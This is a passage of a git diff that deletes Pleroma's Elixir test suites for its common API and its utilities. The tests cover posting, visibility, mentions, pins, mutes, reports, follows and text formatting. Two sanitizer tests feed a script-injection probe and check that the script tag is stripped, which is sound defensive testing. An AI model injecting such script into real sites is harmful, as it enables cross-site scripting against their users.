Object.get_by_ap_id(activity.data["object"]) - assert object.data["like_count"] == 20 - end - - test "repeating race condition" do - user = insert(:user) - users_serial = insert_list(10, :user) - users = insert_list(10, :user) - - {:ok, activity} = CommonAPI.post(user, %{status: "."}) - - users_serial - |> Enum.map(fn user -> - CommonAPI.repeat(activity.id, user) - end) - - object = Object.get_by_ap_id(activity.data["object"]) - assert object.data["announcement_count"] == 10 - - users - |> Enum.map(fn user -> - Task.async(fn -> - CommonAPI.repeat(activity.id, user) - end) - end) - |> Enum.map(&Task.await/1) - - object = Object.get_by_ap_id(activity.data["object"]) - assert object.data["announcement_count"] == 20 - end - - test "when replying to a conversation / participation, it will set the correct context id even if no explicit reply_to is given" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: ".", visibility: "direct"}) - - [participation] = Participation.for_user(user) - - {:ok, convo_reply} = - CommonAPI.post(user, %{status: ".", in_reply_to_conversation_id: participation.id}) - - assert Visibility.is_direct?(convo_reply) - - assert activity.data["context"] == convo_reply.data["context"] - end - - test "when replying to a conversation / participation, it only mentions the recipients explicitly declared in the participation" do - har = insert(:user) - jafnhar = insert(:user) - tridi = insert(:user) - - {:ok, activity} = - CommonAPI.post(har, %{ - status: "@#{jafnhar.nickname} hey", - visibility: "direct" - }) - - assert har.ap_id in activity.recipients - assert jafnhar.ap_id in activity.recipients - - [participation] = Participation.for_user(har) - - {:ok, activity} = - CommonAPI.post(har, %{ - status: "I don't really like @#{tridi.nickname}", - visibility: "direct", - in_reply_to_status_id: activity.id, - in_reply_to_conversation_id: participation.id - }) - - assert har.ap_id in activity.recipients - assert jafnhar.ap_id in activity.recipients - refute tridi.ap_id in activity.recipients - end - - test "with the safe_dm_mention option set, it does not mention people beyond the initial tags" do - har = insert(:user) - jafnhar = insert(:user) - tridi = insert(:user) - - Pleroma.Config.put([:instance, :safe_dm_mentions], true) - - {:ok, activity} = - CommonAPI.post(har, %{ - status: "@#{jafnhar.nickname} hey, i never want to see @#{tridi.nickname} again", - visibility: "direct" - }) - - refute tridi.ap_id in activity.recipients - assert jafnhar.ap_id in activity.recipients - end - - test "it de-duplicates tags" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "#2hu #2HU"}) - - object = Object.normalize(activity) - - assert object.data["tag"] == ["2hu"] - end - - test "it adds emoji in the object" do - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: ":firefox:"}) - - assert Object.normalize(activity).data["emoji"]["firefox"] - end - - describe "posting" do - test "deactivated users can't post" do - user = insert(:user, deactivated: true) - assert {:error, _} = CommonAPI.post(user, %{status: "ye"}) - end - - test "it supports explicit addressing" do - user = insert(:user) - user_two = insert(:user) - user_three = insert(:user) - user_four = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: - "Hey, I think @#{user_three.nickname} is ugly. @#{user_four.nickname} is alright though.", - to: [user_two.nickname, user_four.nickname, "nonexistent"] - }) - - assert user.ap_id in activity.recipients - assert user_two.ap_id in activity.recipients - assert user_four.ap_id in activity.recipients - refute user_three.ap_id in activity.recipients - end - - test "it filters out obviously bad tags when accepting a post as HTML" do - user = insert(:user) - - post = "<p><b>2hu</b></p><script>alert('xss')</script>" - - {:ok, activity} = - CommonAPI.post(user, %{ - status: post, - content_type: "text/html" - }) - - object = Object.normalize(activity) - - assert object.data["content"] == "<p><b>2hu</b></p>alert('xss')" - assert object.data["source"] == post - end - - test "it filters out obviously bad tags when accepting a post as Markdown" do - user = insert(:user) - - post = "<p><b>2hu</b></p><script>alert('xss')</script>" - - {:ok, activity} = - CommonAPI.post(user, %{ - status: post, - content_type: "text/markdown" - }) - - object = Object.normalize(activity) - - assert object.data["content"] == "<p><b>2hu</b></p>alert('xss')" - assert object.data["source"] == post - end - - test "it does not allow replies to direct messages that are not direct messages themselves" do - user = insert(:user) - - {:ok, activity} = CommonAPI.post(user, %{status: "suya..", visibility: "direct"}) - - assert {:ok, _} = - CommonAPI.post(user, %{ - status: "suya..", - visibility: "direct", - in_reply_to_status_id: activity.id - }) - - Enum.each(["public", "private", "unlisted"], fn visibility -> - assert {:error, "The message visibility must be direct"} = - CommonAPI.post(user, %{ - status: "suya..", - visibility: visibility, - in_reply_to_status_id: activity.id - }) - end) - end - - test "replying with a direct message will NOT auto-add the author of the reply to the recipient list" do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, post} = CommonAPI.post(user, %{status: "I'm stupid"}) - - {:ok, open_answer} = - CommonAPI.post(other_user, %{status: "No ur smart", in_reply_to_status_id: post.id}) - - # The OP is implicitly added - assert user.ap_id in open_answer.recipients - - {:ok, secret_answer} = - CommonAPI.post(other_user, %{ - status: "lol, that guy really is stupid, right, @#{third_user.nickname}?", - in_reply_to_status_id: post.id, - visibility: "direct" - }) - - assert third_user.ap_id in secret_answer.recipients - - # The OP is not added - refute user.ap_id in secret_answer.recipients - end - - test "it allows to address a list" do - user = insert(:user) - {:ok, list} = Pleroma.List.create("foo", user) - - {:ok, activity} = CommonAPI.post(user, %{status: "foobar", visibility: "list:#{list.id}"}) - - assert activity.data["bcc"] == [list.ap_id] - assert activity.recipients == [list.ap_id, user.ap_id] - assert activity.data["listMessage"] == list.ap_id - end - - test "it returns error when status is empty and no attachments" do - user = insert(:user) - - assert {:error, "Cannot post an empty status without attachments"} = - CommonAPI.post(user, %{status: ""}) - end - - test "it validates character limits are correctly enforced" do - Pleroma.Config.put([:instance, :limit], 5) - - user = insert(:user) - - assert {:error, "The status is over the character limit"} = - CommonAPI.post(user, %{status: "foobar"}) - - assert {:ok, activity} = CommonAPI.post(user, %{status: "12345"}) - end - - test "it can handle activities that expire" do - user = insert(:user) - - expires_at = DateTime.add(DateTime.utc_now(), 1_000_000) - - assert {:ok, activity} = CommonAPI.post(user, %{status: "chai", expires_in: 1_000_000}) - - assert_enqueued( - worker: Pleroma.Workers.PurgeExpiredActivity, - args: %{activity_id: activity.id}, - scheduled_at: expires_at - ) - end - end - - describe "reactions" do - test "reacting to a status with an emoji" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, reaction} = CommonAPI.react_with_emoji(activity.id, user, "👍") - - assert reaction.data["actor"] == user.ap_id - assert reaction.data["content"] == "👍" - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:error, _} = CommonAPI.react_with_emoji(activity.id, user, ".") - end - - test "unreacting to a status with an emoji" do - user = insert(:user) - other_user = insert(:user) - - clear_config([:instance, :federating], true) - - with_mock Pleroma.Web.Federator, - publish: fn _ -> nil end do - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - {:ok, reaction} = CommonAPI.react_with_emoji(activity.id, user, "👍") - - {:ok, unreaction} = CommonAPI.unreact_with_emoji(activity.id, user, "👍") - - assert unreaction.data["type"] == "Undo" - assert unreaction.data["object"] == reaction.data["id"] - assert unreaction.local - - # On federation, it contains the undone (and deleted) object - unreaction_with_object = %{ - unreaction - | data: Map.put(unreaction.data, "object", reaction.data) - } - - assert called(Pleroma.Web.Federator.publish(unreaction_with_object)) - end - end - - test "repeating a status" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, %Activity{} = announce_activity} = CommonAPI.repeat(activity.id, user) - assert Visibility.is_public?(announce_activity) - end - - test "can't repeat a repeat" do - user = insert(:user) - other_user = insert(:user) - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, %Activity{} = announce} = CommonAPI.repeat(activity.id, other_user) - - refute match?({:ok, %Activity{}}, CommonAPI.repeat(announce.id, user)) - end - - test "repeating a status privately" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, %Activity{} = announce_activity} = - CommonAPI.repeat(activity.id, user, %{visibility: "private"}) - - assert Visibility.is_private?(announce_activity) - refute Visibility.visible_for_user?(announce_activity, nil) - end - - test "favoriting a status" do - user = insert(:user) - other_user = insert(:user) - - {:ok, post_activity} = CommonAPI.post(other_user, %{status: "cofe"}) - - {:ok, %Activity{data: data}} = CommonAPI.favorite(user, post_activity.id) - assert data["type"] == "Like" - assert data["actor"] == user.ap_id - assert data["object"] == post_activity.data["object"] - end - - test "retweeting a status twice returns the status" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - {:ok, %Activity{} = announce} = CommonAPI.repeat(activity.id, user) - {:ok, ^announce} = CommonAPI.repeat(activity.id, user) - end - - test "favoriting a status twice returns ok, but without the like activity" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = CommonAPI.post(other_user, %{status: "cofe"}) - {:ok, %Activity{}} = CommonAPI.favorite(user, activity.id) - assert {:ok, :already_liked} = CommonAPI.favorite(user, activity.id) - end - end - - describe "pinned statuses" do - setup do - Pleroma.Config.put([:instance, :max_pinned_statuses], 1) - - user = insert(:user) - {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!"}) - - [user: user, activity: activity] - end - - test "pin status", %{user: user, activity: activity} do - assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) - - id = activity.id - user = refresh_record(user) - - assert %User{pinned_activities: [^id]} = user - end - - test "pin poll", %{user: user} do - {:ok, activity} = - CommonAPI.post(user, %{ - status: "How is fediverse today?", - poll: %{options: ["Absolutely outstanding", "Not good"], expires_in: 20} - }) - - assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) - - id = activity.id - user = refresh_record(user) - - assert %User{pinned_activities: [^id]} = user - end - - test "unlisted statuses can be pinned", %{user: user} do - {:ok, activity} = CommonAPI.post(user, %{status: "HI!!!", visibility: "unlisted"}) - assert {:ok, ^activity} = CommonAPI.pin(activity.id, user) - end - - test "only self-authored can be pinned", %{activity: activity} do - user = insert(:user) - - assert {:error, "Could not pin"} = CommonAPI.pin(activity.id, user) - end - - test "max pinned statuses", %{user: user, activity: activity_one} do - {:ok, activity_two} = CommonAPI.post(user, %{status: "HI!!!"}) - - assert {:ok, ^activity_one} = CommonAPI.pin(activity_one.id, user) - - user = refresh_record(user) - - assert {:error, "You have already pinned the maximum number of statuses"} = - CommonAPI.pin(activity_two.id, user) - end - - test "unpin status", %{user: user, activity: activity} do - {:ok, activity} = CommonAPI.pin(activity.id, user) - - user = refresh_record(user) - - id = activity.id - - assert match?({:ok, %{id: ^id}}, CommonAPI.unpin(activity.id, user)) - - user = refresh_record(user) - - assert %User{pinned_activities: []} = user - end - - test "should unpin when deleting a status", %{user: user, activity: activity} do - {:ok, activity} = CommonAPI.pin(activity.id, user) - - user = refresh_record(user) - - assert {:ok, _} = CommonAPI.delete(activity.id, user) - - user = refresh_record(user) - - assert %User{pinned_activities: []} = user - end - end - - describe "mute tests" do - setup do - user = insert(:user) - - activity = insert(:note_activity) - - [user: user, activity: activity] - end - - test "marks notifications as read after mute" do - author = insert(:user) - activity = insert(:note_activity, user: author) - - friend1 = insert(:user) - friend2 = insert(:user) - - {:ok, reply_activity} = - CommonAPI.post( - friend2, - %{ - status: "@#{author.nickname} @#{friend1.nickname} test reply", - in_reply_to_status_id: activity.id - } - ) - - {:ok, favorite_activity} = CommonAPI.favorite(friend2, activity.id) - {:ok, repeat_activity} = CommonAPI.repeat(activity.id, friend1) - - assert Repo.aggregate( - from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), - :count - ) == 1 - - unread_notifications = - Repo.all(from(n in Notification, where: n.seen == false, where: n.user_id == ^author.id)) - - assert Enum.any?(unread_notifications, fn n -> - n.type == "favourite" && n.activity_id == favorite_activity.id - end) - - assert Enum.any?(unread_notifications, fn n -> - n.type == "reblog" && n.activity_id == repeat_activity.id - end) - - assert Enum.any?(unread_notifications, fn n -> - n.type == "mention" && n.activity_id == reply_activity.id - end) - - {:ok, _} = CommonAPI.add_mute(author, activity) - assert CommonAPI.thread_muted?(author, activity) - - assert Repo.aggregate( - from(n in Notification, where: n.seen == false and n.user_id == ^friend1.id), - :count - ) == 1 - - read_notifications = - Repo.all(from(n in Notification, where: n.seen == true, where: n.user_id == ^author.id)) - - assert Enum.any?(read_notifications, fn n -> - n.type == "favourite" && n.activity_id == favorite_activity.id - end) - - assert Enum.any?(read_notifications, fn n -> - n.type == "reblog" && n.activity_id == repeat_activity.id - end) - - assert Enum.any?(read_notifications, fn n -> - n.type == "mention" && n.activity_id == reply_activity.id - end) - end - - test "add mute", %{user: user, activity: activity} do - {:ok, _} = CommonAPI.add_mute(user, activity) - assert CommonAPI.thread_muted?(user, activity) - end - - test "remove mute", %{user: user, activity: activity} do - CommonAPI.add_mute(user, activity) - {:ok, _} = CommonAPI.remove_mute(user, activity) - refute CommonAPI.thread_muted?(user, activity) - end - - test "check that mutes can't be duplicate", %{user: user, activity: activity} do - CommonAPI.add_mute(user, activity) - {:error, _} = CommonAPI.add_mute(user, activity) - end - end - - describe "reports" do - test "creates a report" do - reporter = insert(:user) - target_user = insert(:user) - - {:ok, activity} = CommonAPI.post(target_user, %{status: "foobar"}) - - reporter_ap_id = reporter.ap_id - target_ap_id = target_user.ap_id - activity_ap_id = activity.data["id"] - comment = "foobar" - - report_data = %{ - account_id: target_user.id, - comment: comment, - status_ids: [activity.id] - } - - note_obj = %{ - "type" => "Note", - "id" => activity_ap_id, - "content" => "foobar", - "published" => activity.object.data["published"], - "actor" => AccountView.render("show.json", %{user: target_user}) - } - - assert {:ok, flag_activity} = CommonAPI.report(reporter, report_data) - - assert %Activity{ - actor: ^reporter_ap_id, - data: %{ - "type" => "Flag", - "content" => ^comment, - "object" => [^target_ap_id, ^note_obj], - "state" => "open" - } - } = flag_activity - end - - test "updates report state" do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %Activity{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - {:ok, report} = CommonAPI.update_report_state(report_id, "resolved") - - assert report.data["state"] == "resolved" - - [reported_user, activity_id] = report.data["object"] - - assert reported_user == target_user.ap_id - assert activity_id == activity.data["id"] - end - - test "does not update report state when state is unsupported" do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %Activity{id: report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - assert CommonAPI.update_report_state(report_id, "test") == {:error, "Unsupported state"} - end - - test "updates state of multiple reports" do - [reporter, target_user] = insert_pair(:user) - activity = insert(:note_activity, user: target_user) - - {:ok, %Activity{id: first_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel offended", - status_ids: [activity.id] - }) - - {:ok, %Activity{id: second_report_id}} = - CommonAPI.report(reporter, %{ - account_id: target_user.id, - comment: "I feel very offended!", - status_ids: [activity.id] - }) - - {:ok, report_ids} = - CommonAPI.update_report_state([first_report_id, second_report_id], "resolved") - - first_report = Activity.get_by_id(first_report_id) - second_report = Activity.get_by_id(second_report_id) - - assert report_ids -- [first_report_id, second_report_id] == [] - assert first_report.data["state"] == "resolved" - assert second_report.data["state"] == "resolved" - end - end - - describe "reblog muting" do - setup do - muter = insert(:user) - - muted = insert(:user) - - [muter: muter, muted: muted] - end - - test "add a reblog mute", %{muter: muter, muted: muted} do - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted) - - assert User.showing_reblogs?(muter, muted) == false - end - - test "remove a reblog mute", %{muter: muter, muted: muted} do - {:ok, _reblog_mute} = CommonAPI.hide_reblogs(muter, muted) - {:ok, _reblog_mute} = CommonAPI.show_reblogs(muter, muted) - - assert User.showing_reblogs?(muter, muted) == true - end - end - - describe "follow/2" do - test "directly follows a non-locked local user" do - [follower, followed] = insert_pair(:user) - {:ok, follower, followed, _} = CommonAPI.follow(follower, followed) - - assert User.following?(follower, followed) - end - end - - describe "unfollow/2" do - test "also unsubscribes a user" do - [follower, followed] = insert_pair(:user) - {:ok, follower, followed, _} = CommonAPI.follow(follower, followed) - {:ok, _subscription} = User.subscribe(follower, followed) - - assert User.subscribed_to?(follower, followed) - - {:ok, follower} = CommonAPI.unfollow(follower, followed) - - refute User.subscribed_to?(follower, followed) - end - - test "cancels a pending follow for a local user" do - follower = insert(:user) - followed = insert(:user, locked: true) - - assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = - CommonAPI.follow(follower, followed) - - assert User.get_follow_state(follower, followed) == :follow_pending - assert {:ok, follower} = CommonAPI.unfollow(follower, followed) - assert User.get_follow_state(follower, followed) == nil - - assert %{id: ^activity_id, data: %{"state" => "cancelled"}} = - Pleroma.Web.ActivityPub.Utils.fetch_latest_follow(follower, followed) - - assert %{ - data: %{ - "type" => "Undo", - "object" => %{"type" => "Follow", "state" => "cancelled"} - } - } = Pleroma.Web.ActivityPub.Utils.fetch_latest_undo(follower) - end - - test "cancels a pending follow for a remote user" do - follower = insert(:user) - followed = insert(:user, locked: true, local: false, ap_enabled: true) - - assert {:ok, follower, followed, %{id: activity_id, data: %{"state" => "pending"}}} = - CommonAPI.follow(follower, followed) - - assert User.get_follow_state(follower, followed) == :follow_pending - assert {:ok, follower} = CommonAPI.unfollow(follower, followed) - assert User.get_follow_state(follower, followed) == nil - - assert %{id: ^activity_id, data: %{"state" => "cancelled"}} = - Pleroma.Web.ActivityPub.Utils.fetch_latest_follow(follower, followed) - - assert %{ - data: %{ - "type" => "Undo", - "object" => %{"type" => "Follow", "state" => "cancelled"} - } - } = Pleroma.Web.ActivityPub.Utils.fetch_latest_undo(follower) - end - end - - describe "accept_follow_request/2" do - test "after acceptance, it sets all existing pending follow request states to 'accept'" do - user = insert(:user, locked: true) - follower = insert(:user) - follower_two = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_three} = CommonAPI.follow(follower_two, user) - - assert follow_activity.data["state"] == "pending" - assert follow_activity_two.data["state"] == "pending" - assert follow_activity_three.data["state"] == "pending" - - {:ok, _follower} = CommonAPI.accept_follow_request(follower, user) - - assert Repo.get(Activity, follow_activity.id).data["state"] == "accept" - assert Repo.get(Activity, follow_activity_two.id).data["state"] == "accept" - assert Repo.get(Activity, follow_activity_three.id).data["state"] == "pending" - end - - test "after rejection, it sets all existing pending follow request states to 'reject'" do - user = insert(:user, locked: true) - follower = insert(:user) - follower_two = insert(:user) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_two} = CommonAPI.follow(follower, user) - {:ok, _, _, follow_activity_three} = CommonAPI.follow(follower_two, user) - - assert follow_activity.data["state"] == "pending" - assert follow_activity_two.data["state"] == "pending" - assert follow_activity_three.data["state"] == "pending" - - {:ok, _follower} = CommonAPI.reject_follow_request(follower, user) - - assert Repo.get(Activity, follow_activity.id).data["state"] == "reject" - assert Repo.get(Activity, follow_activity_two.id).data["state"] == "reject" - assert Repo.get(Activity, follow_activity_three.id).data["state"] == "pending" - end - - test "doesn't create a following relationship if the corresponding follow request doesn't exist" do - user = insert(:user, locked: true) - not_follower = insert(:user) - CommonAPI.accept_follow_request(not_follower, user) - - assert Pleroma.FollowingRelationship.following?(not_follower, user) == false - end - end - - describe "vote/3" do - test "does not allow to vote twice" do - user = insert(:user) - other_user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "Am I cute?", - poll: %{options: ["Yes", "No"], expires_in: 20} - }) - - object = Object.normalize(activity) - - {:ok, _, object} = CommonAPI.vote(other_user, object, [0]) - - assert {:error, "Already voted"} == CommonAPI.vote(other_user, object, [1]) - end - end - - describe "listen/2" do - test "returns a valid activity" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 1", - album: "lain radio", - artist: "lain", - length: 180_000 - }) - - object = Object.normalize(activity) - - assert object.data["title"] == "lain radio episode 1" - - assert Visibility.get_visibility(activity) == "public" - end - - test "respects visibility=private" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.listen(user, %{ - title: "lain radio episode 1", - album: "lain radio", - artist: "lain", - length: 180_000, - visibility: "private" - }) - - object = Object.normalize(activity) - - assert object.data["title"] == "lain radio episode 1" - - assert Visibility.get_visibility(activity) == "private" - end - end - - describe "get_user/1" do - test "gets user by ap_id" do - user = insert(:user) - assert CommonAPI.get_user(user.ap_id) == user - end - - test "gets user by guessed nickname" do - user = insert(:user, ap_id: "", nickname: "mario@mushroom.kingdom") - assert CommonAPI.get_user("https://mushroom.kingdom/users/mario") == user - end - - test "fallback" do - assert %User{ - name: "", - ap_id: "", - nickname: "erroruser@example.com" - } = CommonAPI.get_user("") - end - end -end diff --git a/test/web/common_api/common_api_utils_test.exs b/test/web/common_api/common_api_utils_test.exs deleted file mode 100644 index e67c10b93..000000000 --- a/test/web/common_api/common_api_utils_test.exs +++ /dev/null @@ -1,593 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.CommonAPI.UtilsTest do - alias Pleroma.Builders.UserBuilder - alias Pleroma.Object - alias Pleroma.Web.CommonAPI - alias Pleroma.Web.CommonAPI.Utils - use Pleroma.DataCase - - import ExUnit.CaptureLog - import Pleroma.Factory - - @public_address "https://www.w3.org/ns/activitystreams#Public" - - describe "add_attachments/2" do - setup do - name = - "Sakura Mana – Turned on by a Senior OL with a Temptating Tight Skirt-s Full Hipline and Panty Shot- Beautiful Thick Thighs- and Erotic Ass- -2015- -- Oppaitime 8-28-2017 6-50-33 PM.png" - - attachment = %{ - "url" => [%{"href" => URI.encode(name)}] - } - - %{name: name, attachment: attachment} - end - - test "it adds attachment links to a given text and attachment set", %{ - name: name, - attachment: attachment - } do - len = 10 - clear_config([Pleroma.Upload, :filename_display_max_length], len) - - expected = - "<br><a href=\"#{URI.encode(name)}\" class='attachment'>#{String.slice(name, 0..len)}…</a>" - - assert Utils.add_attachments("", [attachment]) == expected - end - - test "doesn't truncate file name if config for truncate is set to 0", %{ - name: name, - attachment: attachment - } do - clear_config([Pleroma.Upload, :filename_display_max_length], 0) - - expected = "<br><a href=\"#{URI.encode(name)}\" class='attachment'>#{name}</a>" - - assert Utils.add_attachments("", [attachment]) == expected - end - end - - describe "it confirms the password given is the current users password" do - test "incorrect password given" do - {:ok, user} = UserBuilder.insert() - - assert Utils.confirm_current_password(user, "") == {:error, "Invalid password."} - end - - test "correct password given" do - {:ok, user} = UserBuilder.insert() - assert Utils.confirm_current_password(user, "test") == {:ok, user} - end - end - - describe "format_input/3" do - test "works for bare text/plain" do - text = "hello world!" - expected = "hello world!" - - {output, [], []} = Utils.format_input(text, "text/plain") - - assert output == expected - - text = "hello world!\n\nsecond paragraph!" - expected = "hello world!<br><br>second paragraph!" - - {output, [], []} = Utils.format_input(text, "text/plain") - - assert output == expected - end - - test "works for bare text/html" do - text = "<p>hello world!</p>" - expected = "<p>hello world!</p>" - - {output, [], []} = Utils.format_input(text, "text/html") - - assert output == expected - - text = "<p>hello world!</p><br/>\n<p>second paragraph</p>" - expected = "<p>hello world!</p><br/>\n<p>second paragraph</p>" - - {output, [], []} = Utils.format_input(text, "text/html") - - assert output == expected - end - - test "works for bare text/markdown" do - text = "**hello world**" - expected = "<p><strong>hello world</strong></p>" - - {output, [], []} = Utils.format_input(text, "text/markdown") - - assert output == expected - - text = "**hello world**\n\n*another paragraph*" - expected = "<p><strong>hello world</strong></p><p><em>another paragraph</em></p>" - - {output, [], []} = Utils.format_input(text, "text/markdown") - - assert output == expected - - text = """ - > cool quote - - by someone - """ - - expected = "<blockquote><p>cool quote</p></blockquote><p>by someone</p>" - - {output, [], []} = Utils.format_input(text, "text/markdown") - - assert output == expected - end - - test "works for bare text/bbcode" do - text = "[b]hello world[/b]" - expected = "<strong>hello world</strong>" - - {output, [], []} = Utils.format_input(text, "text/bbcode") - - assert output == expected - - text = "[b]hello world![/b]\n\nsecond paragraph!" - expected = "<strong>hello world!</strong><br><br>second paragraph!" - - {output, [], []} = Utils.format_input(text, "text/bbcode") - - assert output == expected - - text = "[b]hello world![/b]\n\n<strong>second paragraph!</strong>" - - expected = - "<strong>hello world!</strong><br><br><strong>second paragraph!</strong>" - - {output, [], []} = Utils.format_input(text, "text/bbcode") - - assert output == expected - end - - test "works for text/markdown with mentions" do - {:ok, user} = - UserBuilder.insert(%{nickname: "user__test", ap_id: "http://foo.com/user__test"}) - - text = "**hello world**\n\n*another @user__test and @user__test google.com paragraph*" - - {output, _, _} = Utils.format_input(text, "text/markdown") - - assert output == - ~s(<p><strong>hello world</strong></p><p><em>another <span class="h-card"><a class="u-url mention" data-user="#{ - user.id - }" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> and <span class="h-card"><a class="u-url mention" data-user="#{ - user.id - }" href="http://foo.com/user__test" rel="ugc">@<span>user__test</span></a></span> <a href="http://google.com" rel="ugc">google.com</a> paragraph</em></p>) - end - end - - describe "context_to_conversation_id" do - test "creates a mapping object" do - conversation_id = Utils.context_to_conversation_id("random context") - object = Object.get_by_ap_id("random context") - - assert conversation_id == object.id - end - - test "returns an existing mapping for an existing object" do - {:ok, object} = Object.context_mapping("random context") |> Repo.insert() - conversation_id = Utils.context_to_conversation_id("random context") - - assert conversation_id == object.id - end - end - - describe "formats date to asctime" do - test "when date is in ISO 8601 format" do - date = DateTime.utc_now() |> DateTime.to_iso8601() - - expected = - date - |> DateTime.from_iso8601() - |> elem(1) - |> Calendar.Strftime.strftime!("%a %b %d %H:%M:%S %z %Y") - - assert Utils.date_to_asctime(date) == expected - end - - test "when date is a binary in wrong format" do - date = DateTime.utc_now() - - expected = "" - - assert capture_log(fn -> - assert Utils.date_to_asctime(date) == expected - end) =~ "[warn] Date #{date} in wrong format, must be ISO 8601" - end - - test "when date is a Unix timestamp" do - date = DateTime.utc_now() |> DateTime.to_unix() - - expected = "" - - assert capture_log(fn -> - assert Utils.date_to_asctime(date) == expected - end) =~ "[warn] Date #{date} in wrong format, must be ISO 8601" - end - - test "when date is nil" do - expected = "" - - assert capture_log(fn -> - assert Utils.date_to_asctime(nil) == expected - end) =~ "[warn] Date in wrong format, must be ISO 8601" - end - - test "when date is a random string" do - assert capture_log(fn -> - assert Utils.date_to_asctime("foo") == "" - end) =~ "[warn] Date foo in wrong format, must be ISO 8601" - end - end - - describe "get_to_and_cc" do - test "for public posts, not a reply" do - user = insert(:user) - mentioned_user = insert(:user) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "public", nil) - - assert length(to) == 2 - assert length(cc) == 1 - - assert @public_address in to - assert mentioned_user.ap_id in to - assert user.follower_address in cc - end - - test "for public posts, a reply" do - user = insert(:user) - mentioned_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "public", nil) - - assert length(to) == 3 - assert length(cc) == 1 - - assert @public_address in to - assert mentioned_user.ap_id in to - assert third_user.ap_id in to - assert user.follower_address in cc - end - - test "for unlisted posts, not a reply" do - user = insert(:user) - mentioned_user = insert(:user) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "unlisted", nil) - - assert length(to) == 2 - assert length(cc) == 1 - - assert @public_address in cc - assert mentioned_user.ap_id in to - assert user.follower_address in to - end - - test "for unlisted posts, a reply" do - user = insert(:user) - mentioned_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "unlisted", nil) - - assert length(to) == 3 - assert length(cc) == 1 - - assert @public_address in cc - assert mentioned_user.ap_id in to - assert third_user.ap_id in to - assert user.follower_address in to - end - - test "for private posts, not a reply" do - user = insert(:user) - mentioned_user = insert(:user) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "private", nil) - assert length(to) == 2 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - assert user.follower_address in to - end - - test "for private posts, a reply" do - user = insert(:user) - mentioned_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "private", nil) - - assert length(to) == 2 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - assert user.follower_address in to - end - - test "for direct posts, not a reply" do - user = insert(:user) - mentioned_user = insert(:user) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, nil, "direct", nil) - - assert length(to) == 1 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - end - - test "for direct posts, a reply" do - user = insert(:user) - mentioned_user = insert(:user) - third_user = insert(:user) - {:ok, activity} = CommonAPI.post(third_user, %{status: "uguu"}) - mentions = [mentioned_user.ap_id] - - {to, cc} = Utils.get_to_and_cc(user, mentions, activity, "direct", nil) - - assert length(to) == 1 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - - {:ok, direct_activity} = CommonAPI.post(third_user, %{status: "uguu", visibility: "direct"}) - - {to, cc} = Utils.get_to_and_cc(user, mentions, direct_activity, "direct", nil) - - assert length(to) == 2 - assert Enum.empty?(cc) - - assert mentioned_user.ap_id in to - assert third_user.ap_id in to - end - end - - describe "to_master_date/1" do - test "removes microseconds from date (NaiveDateTime)" do - assert Utils.to_masto_date(~N[2015-01-23 23:50:07.123]) 